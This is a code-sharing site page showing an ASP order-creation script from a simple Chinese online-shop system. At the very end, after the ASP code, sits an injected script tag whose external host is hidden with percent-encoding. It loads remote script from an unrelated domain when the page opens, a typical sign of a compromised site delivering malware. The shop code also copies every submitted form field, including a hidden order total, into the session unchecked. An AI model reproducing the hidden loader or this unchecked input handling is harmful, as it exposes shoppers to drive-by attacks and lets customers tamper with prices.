⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shopcreateorder.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<!-- #include file="shop$db.asp" -->
<%
Dim dbc
'*******************************************************************
' this is the final chance to cancel before order is created
' User can enter additional comments for order, print the order or
' go on to enter credit card information in a secure session
' April 1, 2000
'********************************************************************
action = Trim(request.form("action"))
if action = "取消订单" Then
        ShopCancelOrder
        Response.Redirect "shoperror.asp?msg=" & Server.URLEncode ("订单已经取消") 
end if
' no action so display final form in this session
if Action="" then
   ShopPageHeader
   LocateCustomer Session("LastName"), Session("Email")
   Session("Customerid")=strCustomerId
   DisplayForm
   ShopPageTrailer
else
   CreateOrder
end if
'**********************************************************************************
' First Get fields from this form
' all other data should be in session variables already
' Then go on to SLL session passing order id and customer id
'**********************************************************************************
Sub CreateOrder
Dim dbc
dim limitmsg
oid=session("orderid")
ssl=Session("ssl")
if oid<> "" then
' see if order is alread in database if user pressed key a couple of times
  ShopOpenDatabase  dbc                ' Open database 
  sql = "Select * from orders where 订单id=" & cint(oid)
  Set rsorder = dbc.Execute(SQL)
  if not rsorder.eof then
     set sorder=nothing
     ShopcloseDatabase dbc
     Response.Redirect ssl & "shopcheckout.asp" & "?db=" & Session("db") & "&oid=" & oid & "&cid=" & Session("customerid")     
  else
     rsorder.close 
     set sorder=nothing
  end if
end if
' Get all info from form
For Each key in Request.Form
   strname = key
   if strname<>"shipcomment" then
      strvalue = Request.Form(key)
      Session(strname) = strvalue
   end if 
   Next
ShopAddOrder               ' add order to database
oid=Session("orderId")
'if oid > 30 then
'  ShopCancelOrder  
'  GetLimitMsg limitmsg
 ' Response.Redirect "shoperror.asp?msg=" & Server.URLEncode (limitmsg) 
'else
   Response.Redirect ssl & "shopcheckout.asp" & "?db=" & Session("db") & "&oid=" & oid & "&cid=" & Session("customerid")
'end if
end Sub

'******************************************************************************.
' form = tells customer that he will be sent off to get
'        credit card information via SSL
'        has option to print order  
' goes to either shopmailform.asp to print order form
'                shopcreateorder to add order to database without credit card info         
' Date: nov 2, 1999
'******************************************************************************
Sub DisplayForm
%>
<p align="center"><b> 您可以通过安全可靠的信用卡直接支付,也可以通过其他支付方式。<br>
  也可以通过电话下订单。<br>
<br>
  为了能够安全快捷的将商品送到您手里,请您认真的检查您填写的订单 </b><br><a href="shopmailform.asp">点击这里浏览您的订单</a><br>


<center>
</p>
<P>
<FORM action="shopCreateOrder.asp" method=POST>
<P><INPUT name="action" type=submit value="马上订购"> 
<INPUT name=action type=submit value="取消订单"> <br>

<%
dim remove
remove="NO"
CartFormat remove
%>
</P>
<center>订单备注和特别请求<br>
<p><textarea rows="3" name="shipcomment" cols="66"></textarea></p>
<INPUT type="hidden" name="ordertotal" value="<%= Session("ordertotal")%>">
<P><INPUT name="action" type=submit value="马上订购"> 
<INPUT name=action type=submit value="取消订单"> <br>
</table>
</P></FORM>
<%
End Sub
%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -